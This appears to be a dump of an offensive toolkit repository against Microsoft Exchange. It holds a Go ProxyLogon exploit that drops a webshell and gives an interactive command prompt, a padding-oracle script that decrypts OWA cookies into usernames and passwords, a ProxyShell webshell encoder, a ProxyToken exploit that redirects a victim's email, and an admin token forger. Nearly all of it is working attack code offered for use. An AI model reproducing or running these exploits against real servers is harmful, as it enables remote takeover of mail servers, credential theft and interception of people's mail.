308 | fmt.Println("[-] requesting err...")
309 | return
310 | }
311 |
312 | if do5.StatusCode != 200 {
313 | fmt.Println("[-] requesting Shell Error! can not access the webshell! try again...")
314 | }
315 |
316 | s, _ := ioutil.ReadAll(do5.Body)
317 | fmt.Printf("[+] the request shell response data:\n" + string(s))
318 | if do5.StatusCode == 200 {
319 | fmt.Println("[+] Webshell drop at " + target + "/aspnet_client/" + shell_name + " .. Have fun!")
320 | fmt.Println("[+] Code: curl -ik " + target + "/aspnet_client/" + shell_name + ` -d 'lUc1f3r11=Response.Write(new ActiveXObject("WScript.Shell").exec("cmd /c whoami").stdout.readall())'`)
321 | reader := bufio.NewReader(os.Stdin)
322 | for {
323 | fmt.Print("> ")
324 | input, err := reader.ReadString('\n')
325 | shell_body_exec := `lUc1f3r11=Response.Write(new ActiveXObject("WScript.Shell").exec("cmd /c ` + input + `").stdout.readall())`
326 | request5, err := http.NewRequest(http.MethodPost, target+"/aspnet_client/"+shell_name, strings.NewReader(shell_body_exec))
327 | if err != nil {
328 | fmt.Println(err)
329 | }
330 | request5.Header.Add("Content-Type", "application/x-www-form-urlencoded")
331 | request5.Header.Add("User-Agent", user_agent)
332 |
333 | do5, err := cli.Do(request5)
334 | if err != nil {
335 | fmt.Println("[-] requesting err...")
336 | return
337 | }
338 | if do5.StatusCode == 200 {
339 | readres, _ := ioutil.ReadAll(do5.Body)
340 | fmt.Println("[+] cmd exec results:\n")
341 | fmt.Println("-----------------------")
342 | fmt.Println(string(readres))
343 | } else if do5.StatusCode == 500 {
344 | fmt.Println("[-] AV block exec cmd!!")
345 | } else {
346 | fmt.Println("[-] Something wrong.. try again?")
347 | }
348 | if err = execShell(input); err != nil {
349 | fmt.Fprintln(os.Stderr, err)
350 | }
351 | }
352 | } else {
353 | fmt.Println("[+] Webshell not found due to Covid, try again!")
354 | }
355 | }
356 | }
357 | }
358 |
359 | func exploit(url, email string) {
360 | server := url + "/owa/auth.owa"
361 | print("[+] Target Server url: " + server + "\n")
362 | c := http.Client{
363 | Timeout: time.Second * 7,
364 | Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}},
365 | }
366 | request6, err := http.NewRequest(http.MethodPost, server, strings.NewReader(""))
367 | if err != nil {
368 | fmt.Println(err)
369 | }
370 | do6, err := c.Do(request6)
371 | if err != nil {
372 | fmt.Println(err)
373 | fmt.Println("[-] Hmm?, is that exchange server?")
374 | return
375 | }
376 | defer do6.Body.Close()
377 | if do6.StatusCode != 400 {
378 | fmt.Println("[-] Cant get FQDN!")
379 | } else if do6.StatusCode == 400 {
380 | fmt.Println("[+] get FQDN success!")
381 | server_name := do6.Header["X-Feserver"][0]
382 | fmt.Println("[+] Got FQDN: " + server_name)
383 | path_maybe_vuln := "/ecp/pentest.js"
384 | payload := `
385 |
389 |
390 |
391 |
392 | Default
393 |
394 |
395 |
396 |
397 | admin@domain.tld
398 |
399 |
400 |
401 |
402 |
403 | `
404 | request7, err := http.NewRequest(http.MethodPost, url+path_maybe_vuln, strings.NewReader(payload))
405 | if err != nil {
406 | fmt.Println(err)
407 | }
408 |
409 | request7.Header.Add("User-Agent", "Hello-World")
410 | request7.Header.Add("Cookie", "X-BEResource="+server_name+"/EWS/Exchange.asmx?a=~1942062522;")
411 | request7.Header.Add("Connection", "close")
412 | request7.Header.Add("Content-Type", "text/xml")
413 |
414 | do7, err := c.Do(request7)
415 | if err != nil {
416 | fmt.Println("[-] Hmm?, is that exchange server?")
417 | return
418 | }
419 | if do7.StatusCode == 200 {
420 | fmt.Println("[+] Target is Vuln to SSRF [CVE-2021-26855]!")
421 | fmt.Println("[+] Getting Information Server!")
422 | fmt.Printf("[+] Computer Name = ")
423 | fmt.Println(do7.Header["X-Diaginfo"][0])
424 | fmt.Println("[+] Domain Name = ")
425 | fmt.Println(do7.Header["X-Calculatedbetarget"][1])
426 | fmt.Println("[+] Guest SID = ")
427 | fmt.Println(splitBackEnd(do7.Header["Set-Cookie"][1]))
428 |
429 | autodiscover_payload := `
430 |
431 | ` + email + `
432 | http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a
433 |
434 | `
435 | request8, err := http.NewRequest(http.MethodPost, url+path_maybe_vuln, strings.NewReader(autodiscover_payload))
436 | if err != nil {
437 | fmt.Println(err)
438 | }
439 |
440 | request8.Header.Add("User-Agent", "Hello-World")
441 | request8.Header.Add("Cookie", "X-BEResource=Admin@"+server_name+":444/autodiscover/autodiscover.xml?a=~1942062522;")
442 | request8.Header.Add("Connection", "close")
443 | request8.Header.Add("Content-Type", "text/xml")
444 |
445 | do8, err := c.Do(request8)
446 | if err != nil {
447 | fmt.Println("[-] Hmm?, is that exchange server?")
448 | return
449 | }
450 | res1, _ := ioutil.ReadAll(do8.Body)
451 | fmt.Println("[+] valid email: " + email)
452 | txtstr := string(res1)
453 | re, _ := regexp.Compile("(?:)(.+?)(?:)")
454 | match := re.FindString(txtstr)
455 | legacyDN1 := strings.ReplaceAll(match, "", "")
456 | legacyDN := strings.ReplaceAll(legacyDN1, "", "")
457 | fmt.Println("[+] legacyDN is: " + legacyDN)
458 | mapi_body := legacyDN + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"
459 | request9, err := http.NewRequest(http.MethodPost, url+path_maybe_vuln, strings.NewReader(mapi_body))
460 | if err != nil {
461 | fmt.Println(err)
462 | }
463 |
464 | request9.Header.Add("Cookie", "X-BEResource=Admin@"+server_name+":444/mapi/emsmdb?MailboxId="+server+"&a=~1942062522;")
465 | request9.Header.Add("Content-Type", "application/mapi-http")
466 | request9.Header.Add("X-Requesttype", "Connect")
467 | request9.Header.Add("X-Clientinfo", "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}")
468 | request9.Header.Add("X-Clientapplication", "Outlook/15.0.4815.1002")
469 | request9.Header.Add("X-Requestid", "{C715155F-2BE8-44E0-BD34-2960067874C8}:500")
470 | request9.Header.Add("User-Agent", "Hello-World")
471 |
472 | do9, err := c.Do(request9)
473 | if err != nil {
474 | fmt.Println("[-] Hmm?, is that exchange server?")
475 | return
476 | }
477 | if do9.StatusCode != 200 {
478 | fmt.Println("[-] Cant leak User SID!!")
479 | } else {
480 | readres2, err := ioutil.ReadAll(do9.Body)
481 | if err == nil {
482 | sid := splitMasterAccountSid(string(readres2))
483 | fmt.Println("[+] Found User SID = " + sid)
484 | getshell(url, email, server_name, sid)
485 | }
486 | }
487 | } else {
488 | fmt.Println("[-] Target is not Vuln to SSRF [CVE-2021-26855]!")
489 | }
490 | } else {
491 | fmt.Println("[-] Target is not Vuln to SSRF [CVE-2021-26855]!")
492 | }
493 | }
494 |
495 | func main() {
496 | Banner()
497 | var target, email string
498 | flag.StringVar(&target, "u", "", "")
499 | flag.StringVar(&email, "e", "", "")
500 | flag.CommandLine.Usage = func() {
501 | fmt.Println("usage:\nexec: ./proxylogon -u -e ")
502 | }
503 | flag.Parse()
504 | if len(target) == 0 {
505 | fmt.Println("[+] please enter the url you want to check!!!")
506 | fmt.Println("[+] Author: https://github.com/FDlucifer, https://twitter.com/fdlucifer11")
507 | } else {
508 | exploit(target, email)
509 | }
510 | }
511 |
--------------------------------------------------------------------------------
/proxyoracle.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | import sys
4 | import urllib3
5 | import requests
6 | from base64 import b64decode, b64encode
7 | from itertools import cycle
8 | from Crypto.Util.Padding import unpad
9 |
10 |
11 | urllib3.disable_warnings()
12 |
13 | target = ""
14 | headers = {}
15 | cookies = {}
16 | proxies = {}
17 |
18 | class BadPaddingException(Exception):
19 | "raise BadPaddingException"
20 |
21 | class PaddingOracle(object):
22 | def __init__(self, **kwargs):
23 | self.max_retries = int(kwargs.get('max_retries', 3))
24 | self.attempts = 0
25 | self.history = []
26 | self._decrypted = None
27 |
28 | def oracle(self, data, **kwargs):
29 | "Override"
30 | raise NotImplementedError
31 |
32 | def bust(self, block, block_size, **kwargs):
33 | intermediate_bytes = bytearray(block_size)
34 | test_bytes = bytearray(block_size)
35 | test_bytes.extend(block)
36 |
37 | retries = 0
38 | last_ok = 0
39 | while retries < self.max_retries:
40 | for byte_num in reversed(range(block_size)):
41 | self.history = []
42 | r = 256
43 | if byte_num == block_size - 1 and last_ok > 0:
44 | r = last_ok
45 |
46 | for i in reversed(range(r)):
47 | test_bytes[byte_num] = i
48 | try:
49 | self.attempts += 1
50 | self.oracle(test_bytes[:], **kwargs)
51 |
52 | if byte_num == block_size - 1:
53 | last_ok = i
54 |
55 | except BadPaddingException:
56 | continue
57 | except Exception:
58 | raise
59 |
60 | current_pad_byte = block_size - byte_num
61 | next_pad_byte = block_size - byte_num + 1
62 | decrypted_byte = test_bytes[byte_num] ^ current_pad_byte
63 | intermediate_bytes[byte_num] = decrypted_byte
64 |
65 | for k in range(byte_num, block_size):
66 | test_bytes[k] ^= current_pad_byte
67 | test_bytes[k] ^= next_pad_byte
68 | break
69 |
70 | else:
71 | retries += 1
72 | break
73 | else:
74 | break
75 | else:
76 | raise RuntimeError(f"{byte_num} in {block} try {self.max_retries}")
77 |
78 | return intermediate_bytes
79 |
80 | def xor(self, data, key):
81 | return bytearray([x ^ y for x, y in zip(data, cycle(key))])
82 |
83 | def decrypt(self, ciphertext, block_size=16, **kwargs):
84 | ciphertext = bytearray(ciphertext)
85 | assert len(ciphertext) % block_size == 0, "The ciphertext Length Error!"
86 |
87 | iv, ctext = ciphertext[:block_size], ciphertext[block_size:]
88 |
89 | decrypted = bytearray(len(ctext))
90 | self._decrypted = decrypted
91 |
92 | n = 0
93 | while ctext:
94 | block, ctext = ctext[:block_size], ctext[block_size:]
95 | intermediate_bytes = self.bust(block, block_size, **kwargs)
96 | print(f"\033[92mGet Block [{int(n/block_size)+1}] Intermediate Value: \033[0m\n{intermediate_bytes}")
97 | decrypted[n:n + block_size] = self.xor(intermediate_bytes, iv)
98 | iv = block
99 | n += block_size
100 |
101 | return decrypted
102 |
103 | class RunOracle(PaddingOracle):
104 | def __init__(self, **kwargs):
105 | super(RunOracle, self).__init__(**kwargs)
106 | self.req = requests.session()
107 |
108 | def check_reason(self, result):
109 | if result.status_code != 302:
110 | print(f"\033[91m[-] {result.status_code} Error!\033[0m")
111 | return 1
112 | url = result.headers["Location"]
113 | if url.endswith("reason=0"):
114 | # print("[*] Padding Error!")
115 | return 0
116 | elif url.endswith("reason=2"):
117 | # print("[+] Got it!")
118 | return 2
119 | else:
120 | print(f"\033[91m[-] Reason Error!\033[0m")
121 | return 3
122 |
123 | def oracle(self, cipher_bytes, **kwargs):
124 | cookies["cadata"] = b64encode(cipher_bytes).decode()
125 | try:
126 | result = self.req.get(target, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
127 | except requests.exceptions.RequestException as e:
128 | print(f"\033[93m[ReqError]: \033[0m{e}")
129 | sys.exit(0)
130 | reason = self.check_reason(result)
131 | if reason == 0:
132 | raise BadPaddingException
133 | elif reason == 2:
134 | return
135 | else:
136 | print(f"\033[91m[-] Check Result!\033[0m")
137 | sys.exit(0)
138 |
139 | def get_cookies(cookies_str):
140 | cookies = dict([kv.strip().split("=", 1) for kv in cookies_str.split(";")])
141 | return cookies
142 |
143 | def main(argv):
144 | global target, headers, cookies, proxies
145 | target = f"https://{argv[1]}/owa/"
146 | headers = {
147 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36",
148 | }
149 | proxies = {
150 | "http": "http://127.0.0.1:8080",
151 | "https": "https://127.0.0.1:8080"
152 | }
153 | cookies_str = argv[2]
154 |
155 | cookies = get_cookies(cookies_str)
156 | cipher_bytes = b64decode(cookies["cadata"].encode("latin-1"))
157 |
158 | runoracle = RunOracle()
159 | plain_bytes = runoracle.decrypt(cipher_bytes)
160 | plain_bytes = unpad(plain_bytes, 16, "pkcs7")
161 |
162 | plain_b64 = plain_bytes.decode("utf-16-le")
163 | plain_list = f"""??{b64decode(f"AA{plain_b64}")[2:].decode()}""".split(":", 1)
164 |
165 | username = plain_list[0]
166 | password = plain_list[1]
167 | print(f"\033[92mUsername: \033[0m{username}")
168 | print(f"\033[92mPassword: \033[0m{password}")
169 |
170 |
171 | if __name__ == "__main__":
172 | try:
173 | main(sys.argv)
174 | except IndexError:
175 | print("Usage: python3 proxyoracle.py 1.1.1.1 'cdata=xxx; cadataTTL=yyy; ...'")
--------------------------------------------------------------------------------
/proxyshell_payload_gen.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | #coding: UTF-8
3 |
4 | import base64
5 | import six
6 | from io import BytesIO
7 |
8 | DWORD_SIZE = 4
9 |
10 | mpbbCrypt = [
11 | 65, 54, 19, 98, 168, 33, 110, 187,
12 | 244, 22, 204, 4, 127, 100, 232, 93,
13 | 30, 242, 203, 42, 116, 197, 94, 53,
14 | 210, 149, 71, 158, 150, 45, 154, 136,
15 | 76, 125, 132, 63, 219, 172, 49, 182,
16 | 72, 95, 246, 196, 216, 57, 139, 231,
17 | 35, 59, 56, 142, 200, 193, 223, 37,
18 | 177, 32, 165, 70, 96, 78, 156, 251,
19 | 170, 211, 86, 81, 69, 124, 85, 0,
20 | 7, 201, 43, 157, 133, 155, 9, 160,
21 | 143, 173, 179, 15, 99, 171, 137, 75,
22 | 215, 167, 21, 90, 113, 102, 66, 191,
23 | 38, 74, 107, 152, 250, 234, 119, 83,
24 | 178, 112, 5, 44, 253, 89, 58, 134,
25 | 126, 206, 6, 235, 130, 120, 87, 199,
26 | 141, 67, 175, 180, 28, 212, 91, 205,
27 | 226, 233, 39, 79, 195, 8, 114, 128,
28 | 207, 176, 239, 245, 40, 109, 190, 48,
29 | 77, 52, 146, 213, 14, 60, 34, 50,
30 | 229, 228, 249, 159, 194, 209, 10, 129,
31 | 18, 225, 238, 145, 131, 118, 227, 151,
32 | 230, 97, 138, 23, 121, 164, 183, 220,
33 | 144, 122, 92, 140, 2, 166, 202, 105,
34 | 222, 80, 26, 17, 147, 185, 82, 135,
35 | 88, 252, 237, 29, 55, 73, 27, 106,
36 | 224, 41, 51, 153, 189, 108, 217, 148,
37 | 243, 64, 84, 111, 240, 198, 115, 184,
38 | 214, 62, 101, 24, 68, 31, 221, 103,
39 | 16, 241, 12, 25, 236, 174, 3, 161,
40 | 20, 123, 169, 11, 255, 248, 163, 192,
41 | 162, 1, 247, 46, 188, 36, 104, 117,
42 | 13, 254, 186, 47, 181, 208, 218, 61,
43 | 20, 83, 15, 86, 179, 200, 122, 156,
44 | 235, 101, 72, 23, 22, 21, 159, 2,
45 | 204, 84, 124, 131, 0, 13, 12, 11,
46 | 162, 98, 168, 118, 219, 217, 237, 199,
47 | 197, 164, 220, 172, 133, 116, 214, 208,
48 | 167, 155, 174, 154, 150, 113, 102, 195,
49 | 99, 153, 184, 221, 115, 146, 142, 132,
50 | 125, 165, 94, 209, 93, 147, 177, 87,
51 | 81, 80, 128, 137, 82, 148, 79, 78,
52 | 10, 107, 188, 141, 127, 110, 71, 70,
53 | 65, 64, 68, 1, 17, 203, 3, 63,
54 | 247, 244, 225, 169, 143, 60, 58, 249,
55 | 251, 240, 25, 48, 130, 9, 46, 201,
56 | 157, 160, 134, 73, 238, 111, 77, 109,
57 | 196, 45, 129, 52, 37, 135, 27, 136,
58 | 170, 252, 6, 161, 18, 56, 253, 76,
59 | 66, 114, 100, 19, 55, 36, 106, 117,
60 | 119, 67, 255, 230, 180, 75, 54, 92,
61 | 228, 216, 53, 61, 69, 185, 44, 236,
62 | 183, 49, 43, 41, 7, 104, 163, 14,
63 | 105, 123, 24, 158, 33, 57, 190, 40,
64 | 26, 91, 120, 245, 35, 202, 42, 176,
65 | 175, 62, 254, 4, 140, 231, 229, 152,
66 | 50, 149, 211, 246, 74, 232, 166, 234,
67 | 233, 243, 213, 47, 112, 32, 242, 31,
68 | 5, 103, 173, 85, 16, 206, 205, 227,
69 | 39, 59, 218, 186, 215, 194, 38, 212,
70 | 145, 29, 210, 28, 34, 51, 248, 250,
71 | 241, 90, 239, 207, 144, 182, 139, 181,
72 | 189, 192, 191, 8, 151, 30, 108, 226,
73 | 97, 224, 198, 193, 89, 171, 187, 88,
74 | 222, 95, 223, 96, 121, 126, 178, 138,
75 | 71, 241, 180, 230, 11, 106, 114, 72,
76 | 133, 78, 158, 235, 226, 248, 148, 83,
77 | 224, 187, 160, 2, 232, 90, 9, 171,
78 | 219, 227, 186, 198, 124, 195, 16, 221,
79 | 57, 5, 150, 48, 245, 55, 96, 130,
80 | 140, 201, 19, 74, 107, 29, 243, 251,
81 | 143, 38, 151, 202, 145, 23, 1, 196,
82 | 50, 45, 110, 49, 149, 255, 217, 35,
83 | 209, 0, 94, 121, 220, 68, 59, 26,
84 | 40, 197, 97, 87, 32, 144, 61, 131,
85 | 185, 67, 190, 103, 210, 70, 66, 118,
86 | 192, 109, 91, 126, 178, 15, 22, 41,
87 | 60, 169, 3, 84, 13, 218, 93, 223,
88 | 246, 183, 199, 98, 205, 141, 6, 211,
89 | 105, 92, 134, 214, 20, 247, 165, 102,
90 | 117, 172, 177, 233, 69, 33, 112, 12,
91 | 135, 159, 116, 164, 34, 76, 111, 191,
92 | 31, 86, 170, 46, 179, 120, 51, 80,
93 | 176, 163, 146, 188, 207, 25, 28, 167,
94 | 99, 203, 30, 77, 62, 75, 27, 155,
95 | 79, 231, 240, 238, 173, 58, 181, 89,
96 | 4, 234, 64, 85, 37, 81, 229, 122,
97 | 137, 56, 104, 82, 123, 252, 39, 174,
98 | 215, 189, 250, 7, 244, 204, 142, 95,
99 | 239, 53, 156, 132, 43, 21, 213, 119,
100 | 52, 73, 182, 18, 10, 127, 113, 136,
101 | 253, 157, 24, 65, 125, 147, 216, 88,
102 | 44, 206, 254, 36, 175, 222, 184, 54,
103 | 200, 161, 128, 166, 153, 152, 168, 47,
104 | 14, 129, 101, 115, 228, 194, 162, 138,
105 | 212, 225, 17, 208, 8, 139, 42, 242,
106 | 237, 154, 100, 63, 193, 108, 249, 236
107 | ]
108 |
109 | mpbbR = mpbbCrypt
110 | mpbbS = mpbbCrypt[256:]
111 | mpbbI = mpbbCrypt[512:]
112 |
113 |
114 | def cryptpermute(data, encrypt=False):
115 | table = mpbbR if encrypt else mpbbI
116 | tmp = [table[v] for v in data] if six.PY3 else [table[ord(v)] for v in data]
117 | i = 0
118 | buf = bytes(tmp) if six.PY3 else bytearray(tmp)
119 | stream = BytesIO(buf)
120 | while True:
121 | b = stream.read(DWORD_SIZE)
122 | try:
123 | tmp[i] = b[0]
124 | tmp[i + 1] = b[1]
125 | tmp[i + 2] = b[2]
126 | tmp[i + 3] = b[3]
127 | i += DWORD_SIZE
128 | except:
129 | pass
130 | if len(b) != DWORD_SIZE:
131 | break
132 |
133 | return bytes(tmp) if six.PY3 else ''.join(tmp)
134 |
135 | if __name__ == "__main__":
136 | webshell = b""
137 | v1 = cryptpermute(webshell, False)
138 | b64_data = base64.b64encode(v1).decode()
139 | print("[+] Encode webshell ⬇\n{}\n".format(b64_data))
140 |
141 | encode_shell = base64.b64decode(b64_data)
142 | decode_shell = cryptpermute(encode_shell, True)
143 | print("[+] Decode webshell ⬇\n{}\n".format(decode_shell.decode()))
--------------------------------------------------------------------------------
/proxytoken.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "crypto/tls"
5 | "flag"
6 | "fmt"
7 | "net/http"
8 | "strings"
9 | "time"
10 |
11 | "github.com/fatih/color"
12 | )
13 |
14 | func Banner() {
15 | x := `
16 | ----------------------
17 | < proxytoken is awesome! >
18 | ----------------------
19 | \ ^__^
20 | \ (oo)\_______
21 | (__)\ )\/\
22 | ||----w |
23 | || ||`
24 | y := "By lUc1f3r11"
25 | color.Red("%s", x)
26 | color.Yellow("%s", y)
27 | }
28 |
29 | func Between(str, starting, ending string) string {
30 | s := strings.Index(str, starting)
31 | if s < 0 {
32 | return ""
33 | }
34 | s += len(starting)
35 | e := strings.Index(str[s:], ending)
36 | if e < 0 {
37 | return ""
38 | }
39 | return str[s : s+e]
40 | }
41 |
42 | func splitmsexch(msexch string) string {
43 | msexch1 := strings.Split(msexch, "msExchEcpCanary=")
44 | msexch2 := msexch1[len(msexch1)-1]
45 | msexch3 := strings.Split(msexch2, ";")
46 | msexch4 := msexch3[0]
47 |
48 | return msexch4
49 | }
50 |
51 | func splitequal(msexch string) string {
52 | msexch1 := strings.Split(msexch, "=")
53 | msexch2 := msexch1[0]
54 |
55 | return msexch2
56 | }
57 |
58 | func exploit(target, targetemail, victimemail string) {
59 | user_agent := "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"
60 | /*构造payload*/
61 | cli := &http.Client{Timeout: time.Second * 7, Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}}
62 | if !strings.Contains(target, "http") {
63 | target = "http://" + target
64 | }
65 |
66 | request, err := http.NewRequest(http.MethodGet, target+"/ecp/"+targetemail+"/RulesEditor/InboxRules.svc/Newobject", nil)
67 | if err != nil {
68 | fmt.Println(err)
69 | }
70 |
71 | request.Header.Add("User-Agent", user_agent)
72 | request.Header.Add("Connection", "close")
73 | request.Header.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8")
74 | request.Header.Add("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2")
75 | request.Header.Add("Accept-Encoding", "gzip, deflate")
76 | request.Header.Add("Cookie", "SecurityToken=x")
77 | request.Header.Add("Content-Type", "application/json; charset=utf-8")
78 |
79 | do, err := cli.Do(request)
80 | if err != nil {
81 | fmt.Println("[-] requesting err...")
82 | return
83 | }
84 |
85 | defer func() {
86 | _ = do.Body.Close()
87 | }()
88 |
89 | if do.StatusCode == 404 && splitequal(do.Header["Set-Cookie"][0]) == "msExchEcpCanary" {
90 | fmt.Println("[+] req status: " + do.Status)
91 | fmt.Println("[+] target Set-Cookie's msExchEcpCanary value is: " + splitmsexch(do.Header["Set-Cookie"][0]))
92 | fmt.Println("[+] target is vulnerable to proxytoken !")
93 |
94 | postdata := `{"properties":{"RedirectTo":[{"RawIdentity":"` + targetemail + `","DisplayName":"` + targetemail + `","Address":"` + targetemail + `","AddressOrigin":0,"galContactGuid":null,"RecipientFlag":0,"RoutingType":"SMTP","SMTPAddress":"` + targetemail + `"}],"Name":"Testrule","StopProcessingRules":true}}`
95 |
96 | request1, err := http.NewRequest(http.MethodPost, target+"/ecp/"+victimemail+"RulesEditor/InboxRules.svc/Newobject?msExchEcpCanary="+splitmsexch(do.Header["Set-Cookie"][0]), strings.NewReader(postdata))
97 | if err != nil {
98 | fmt.Println(err)
99 | }
100 |
101 | request1.Header.Add("User-Agent", user_agent)
102 | request1.Header.Add("Connection", "close")
103 | request1.Header.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8")
104 | request1.Header.Add("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2")
105 | request1.Header.Add("Accept-Encoding", "gzip, deflate")
106 | request1.Header.Add("Cookie", "SecurityToken=x")
107 | request1.Header.Add("Content-Type", "application/json; charset=utf-8")
108 |
109 | do1, err := cli.Do(request1)
110 | if err != nil {
111 | fmt.Println("[-] requesting err...")
112 | return
113 | }
114 | if do1.StatusCode == 200 {
115 | fmt.Println("[+] req status: " + do1.Status)
116 | fmt.Println("[+] target Set-Cookie's msExchEcpCanary value is: " + splitmsexch(do.Header["Set-Cookie"][0]))
117 | fmt.Println("[+] set email redirection rule successed !")
118 | } else {
119 | fmt.Println("[-] req status: " + do1.Status)
120 | fmt.Println("[-] target Set-Cookie value is: " + splitequal(do.Header["Set-Cookie"][0]))
121 | fmt.Println("[-] set email redirection rule failed !")
122 | }
123 | } else {
124 | fmt.Println("[-] req status: " + do.Status)
125 | fmt.Println("[-] target Set-Cookie value is: " + splitequal(do.Header["Set-Cookie"][0]))
126 | fmt.Println("[-] target is not vulnerable to proxytoken !")
127 | }
128 | }
129 |
130 | func main() {
131 | Banner()
132 | var target, targetemail, victimemail string
133 | flag.StringVar(&target, "u", "", "")
134 | flag.StringVar(&targetemail, "te", "", "")
135 | flag.StringVar(&victimemail, "ve", "", "")
136 | flag.CommandLine.Usage = func() {
137 | fmt.Println("usage:\nexec: ./proxytoken -u -te -ve \n")
138 | }
139 | flag.Parse()
140 |
141 | if len(target) == 0 {
142 | fmt.Println("[+] please enter the url you want to check!!!")
143 | fmt.Println("[+] Author: https://github.com/FDlucifer, https://twitter.com/fdlucifer11")
144 | }
145 |
146 | exploit(target, targetemail, victimemail)
147 | }
148 |
--------------------------------------------------------------------------------
/sid_gen_token.py:
--------------------------------------------------------------------------------
1 | from struct import *
2 | import base64
3 |
4 | def gen_token(uname, sid):
5 | version = 0
6 | ttype = 'Windows'
7 | compressed = 0
8 | auth_type = 'Kerberos'
9 | raw_token = b''
10 | gsid = 'S-1-5-32-544'
11 |
12 | version_data = b'V' + (1).to_bytes(1, 'little') + (version).to_bytes(1, 'little')
13 | type_data = b'T' + (len(ttype)).to_bytes(1, 'little') + ttype.encode()
14 | compress_data = b'C' + (compressed).to_bytes(1, 'little')
15 | auth_data = b'A' + (len(auth_type)).to_bytes(1, 'little') + auth_type.encode()
16 | login_data = b'L' + (len(uname)).to_bytes(1, 'little') + uname.encode()
17 | user_data = b'U' + (len(sid)).to_bytes(1, 'little') + sid.encode()
18 | group_data = b'G' + pack('I', 0)
20 |
21 | raw_token += version_data
22 | raw_token += type_data
23 | raw_token += compress_data
24 | raw_token += auth_data
25 | raw_token += login_data
26 | raw_token += user_data
27 | raw_token += group_data
28 | raw_token += ext_data
29 |
30 | data = base64.b64encode(raw_token).decode()
31 |
32 | return data
33 |
34 |
35 | print(gen_token("administrator@ex.com","S-1-5-21-3109812776-1473611157-1400307056-500")) # change here...
36 | # VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBRhZG1pbmlzdHJhdG9yQGV4LmNvbVUtUy0xLTUtMjEtMzEwOTgxMjc3Ni0xNDczNjExMTU3LTE0MDAzMDcwNTYtNTAwRwEAAAAHAAAADFMtMS01LTMyLTU0NEUAAAAA
--------------------------------------------------------------------------------
/test.xml:
--------------------------------------------------------------------------------
1 |
6 |
7 |
8 |
9 | S-1-5-21-3109812776-1473611157-1400307056-500
10 |
11 |
12 | S-1-5-21
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 | you are fucked
22 | hello from darkness side
23 |
24 |
25 | FileAttachment.txt
26 | false
27 | false
28 | ldZUhrdpFDnNqQbf96nf2v+CYWdUhrdpFII5hvcGqRT/gtbahqXahoI5uanf2jmp1mlU041pqRT/FIb32tld9wZUFLfTBjm5qd/aKSDTqQ2MyenapanNjL7aXPfa1hR+glSNDYIPa4L3BtapXdqCyTEhlfvWVIa3aRTZ
29 |
30 |
31 |
32 |
33 | administrator@ex.com
34 |
35 |
36 |
37 |
38 |
39 |
40 |
--------------------------------------------------------------------------------
/testfunc/proxyoracle_test.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "crypto/tls"
5 | "encoding/base64"
6 | "errors"
7 | "flag"
8 | "fmt"
9 | "net/http"
10 | "sort"
11 | "strings"
12 | "time"
13 |
14 | "github.com/fatih/color"
15 | )
16 |
17 | func Banner() {
18 | x := `
19 | ----------------------
20 | < proxyoracle is awesome! >
21 | ----------------------
22 | \ ^__^
23 | \ (oo)\_______
24 | (__)\ )\/\
25 | ||----w |
26 | || ||`
27 | y := "By lUc1f3r11"
28 | color.Red("%s", x)
29 | color.Yellow("%s", y)
30 | }
31 |
32 | func getcadata(cookiestr string) string {
33 | cookie1 := strings.Split(cookiestr, "; ")
34 | return cookie1[0]
35 | }
36 |
37 | func getcadataTTL(cookiestr string) string {
38 | cookie2 := strings.Split(cookiestr, "; ")
39 | return cookie2[1]
40 | }
41 |
42 | func getcadataKey(cookiestr string) string {
43 | cookie3 := strings.Split(cookiestr, "; ")
44 | return cookie3[2]
45 | }
46 |
47 | func getcadataIV(cookiestr string) string {
48 | cookie4 := strings.Split(cookiestr, "; ")
49 | return cookie4[3]
50 | }
51 |
52 | func getcadataSig(cookiestr string) string {
53 | cookie5 := strings.Split(cookiestr, "; ")
54 | return cookie5[4]
55 | }
56 |
57 | func splitcadata(cadata string) string {
58 | strs := strings.Split(cadata, "cadata=")
59 | return strs[1]
60 | }
61 |
62 | func myCheckRedirect(req *http.Request, via []*http.Request) error {
63 | //自用,将url根据需求进行组合
64 | if len(via) <= 1000000000000 {
65 | return errors.New("stopped after 1 redirects")
66 | }
67 | return nil
68 | }
69 |
70 | func splitlocation(location string) string {
71 | strs := strings.Split(location, "%2f&")
72 | return strs[1]
73 | }
74 |
75 | func getcipherbytes(cookiedata string) []byte {
76 | b := []byte(splitcadata(getcadata(cookiedata)))
77 | encc := base64.StdEncoding.EncodeToString(b)
78 | decc, _ := base64.StdEncoding.DecodeString(encc)
79 | cipher_bytes := decc
80 |
81 | return cipher_bytes
82 | }
83 |
84 | var (
85 | // ErrInvalidBlockSize indicates hash blocksize <= 0.
86 | ErrInvalidBlockSize = errors.New("invalid blocksize")
87 |
88 | // ErrInvalidPKCS7Data indicates bad input to PKCS7 pad or unpad.
89 | ErrInvalidPKCS7Data = errors.New("invalid PKCS7 data (empty or not padded)")
90 |
91 | // ErrInvalidPKCS7Padding indicates PKCS7 unpad fails to bad input.
92 | ErrInvalidPKCS7Padding = errors.New("invalid padding on input")
